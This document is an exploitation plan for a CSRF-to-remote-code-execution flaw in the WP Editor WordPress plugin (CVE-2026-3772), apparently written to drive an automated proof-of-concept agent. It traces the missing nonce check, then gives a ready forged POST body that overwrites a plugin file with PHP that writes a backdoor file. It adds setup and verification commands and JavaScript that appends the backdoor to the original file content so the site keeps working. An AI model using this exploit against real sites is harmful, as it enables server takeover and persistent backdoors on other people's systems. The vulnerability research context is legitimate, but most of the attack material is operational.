Exploitation Research Plan - CVE-2026-3772

1. Vulnerability Summary

The WP Editor plugin (up to 1.2.9.2) is vulnerable to Cross-Site Request Forgery (CSRF) leading to Remote Code Execution (RCE). The vulnerability exists in the plugin and theme file editor interfaces.

While the UI views (views/plugin-editor.php and views/theme-editor.php) include nonce fields generated via wp_nonce_field(), the corresponding processing logic in WPEditorPlugins::add_plugins_page() and WPEditorThemes::add_themes_page() fails to verify these nonces before writing attacker-controlled content to PHP files on the server. An unauthenticated attacker can trick a logged-in administrator into submitting a forged request that overwrites arbitrary plugin or theme files with malicious PHP code.

2. Attack Vector Analysis

• Vulnerable Endpoints:
  • Plugin Editor: wp-admin/plugins.php?page=wpeditor_plugin
  • Theme Editor: wp-admin/themes.php?page=wpeditor_themes
• Vulnerable Parameters (POST):
  • new-content: The PHP code to be written to the file.
  • plugin (for plugins): The plugin directory and filename (e.g., wp-editor/wpeditor.php).
  • file (for plugins/themes): The relative path to the file being edited.
• Authentication Level: Administrator (requires edit_plugins or edit_themes capabilities).
• Preconditions: The targeted file must be writable by the web server.

3. Code Flow

1. Entry Point: An administrator's browser is forced to send a POST request to wp-admin/plugins.php?page=wpeditor_plugin.
2. Hook Registration: The plugin registers the menu pages which call WPEditorPlugins::add_plugins_page or WPEditorThemes::add_themes_page.
3. Permission Check: Both functions check for capabilities:

   // classes/WPEditorPlugins.php line 6
   if ( !current_user_can( 'edit_plugins' ) ) { ... }
   

   CSRF bypasses this check because the request is sent with the administrator's cookies.
4. Processing POST Data:
   The function checks for $_POST['new-content']. Crucially, it does not call wp_verify_nonce() or check_admin_referer() before reaching the write logic.
5. Path Resolution:
   The plugin determines the $real_file path:

   // classes/WPEditorPlugins.php lines 25-53
   if ( isset( $_REQUEST['plugin'] ) ) { $plugin = ... }
   if ( isset( $_REQUEST['file'] ) ) { $file = ... }
   $real_file = WP_PLUGIN_DIR . '/' . $plugin;
   

6. File Write (Sink):
   The content is written directly to the filesystem:

   // classes/WPEditorPlugins.php lines 55-68
   if ( isset( $_POST['new-content'] ) && file_exists( $real_file ) && is_writable( $real_file ) ) {
       $new_content = stripslashes( $_POST['new-content'] );
       $f = fopen( $real_file, 'w+' );
       fwrite( $f, $new_content );
       fclose( $f );
   }
   

4. Nonce Acquisition Strategy

No nonce is required.

Although views/plugin-editor.php contains:

<?php wp_nonce_field( 'edit-plugin_' . esc_attr( $data['real_file'] )); ?>

The logic in WPEditorPlugins.php and WPEditorThemes.php never verifies this nonce for the new-content update operation. Verification is only present for the create_plugin_new action, which is separate from the file-saving logic.

5. Exploitation Strategy

The goal is to overwrite a plugin file with a simple PHP payload that creates a secondary backdoor, ensuring the site remains functional while confirming RCE.

Step-by-Step Plan:

1. Target Identification: Identify a writable file. The main plugin file wp-editor/wpeditor.php is a reliable target.
2. Payload Preparation: Create a payload that appends a small backdoor to the file or creates a new file.
3. Forged Request: Execute a POST request via the http_request tool (acting as the "Administrator's browser").

Exploit Request (CSRF Simulation):

URL: http://<target>/wp-admin/plugins.php?page=wpeditor_plugin
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body:

plugin=wp-editor/wpeditor.php&file=wp-editor/wpeditor.php&new-content=<?php %23 WP Editor Backdoor %0Afile_put_contents(ABSPATH . "pwned.php", "<?php phpinfo();"); %0A%3F>

(Note: In a real CSRF, this would be an auto-submitting HTML form. For the PoC agent, we use http_request with admin cookies.)

6. Test Data Setup

1. Install and Activate WP Editor:

   wp plugin install wp-editor --version=1.2.9.2 --activate
   

2. Ensure File Writability:

   chmod 666 /var/www/html/wp-content/plugins/wp-editor/wpeditor.php
   

3. Login as Admin: The execution agent should have the administrator session cookies loaded.

7. Expected Results

• The HTTP response should be a 200 OK (the page reloads showing the editor).
• The plugin code in wp-content/plugins/wp-editor/wpeditor.php will be overwritten with the payload.
• Upon the next page load (which triggers wpeditor.php as it is active), the file pwned.php will be created in the WordPress root.

8. Verification Steps

1. Check File Content via CLI:

   grep "pwned.php" /var/www/html/wp-content/plugins/wp-editor/wpeditor.php
   

2. Verify Execution Result:

   ls -la /var/www/html/pwned.php
   

3. Trigger the Backdoor via HTTP:
   Use http_request to GET /pwned.php and check for the "PHP Version" string.

9. Alternative Approaches

If overwriting the main plugin file crashes the site:

1. Target Theme: Use the theme editor endpoint wp-admin/themes.php?page=wpeditor_themes and target style.css (if it's being treated as PHP) or a specific theme template like footer.php.
2. Append Mode (If possible): Since the plugin uses w+ (truncate and write), we must provide the full content of the file if we want the site to keep working. A better PoC strategy is to read the content first via browser_eval or a separate GET request to the editor page, then POST the original_content + payload.

Manual Payload for "Safe" Overwrite:

// Example browser_eval to get original content
let content = document.querySelector('#new-content').value;
let payload = content + "\n<?php file_put_contents(ABSPATH . 'pwned.php', 'success'); ?>";
// Then submit via fetch or form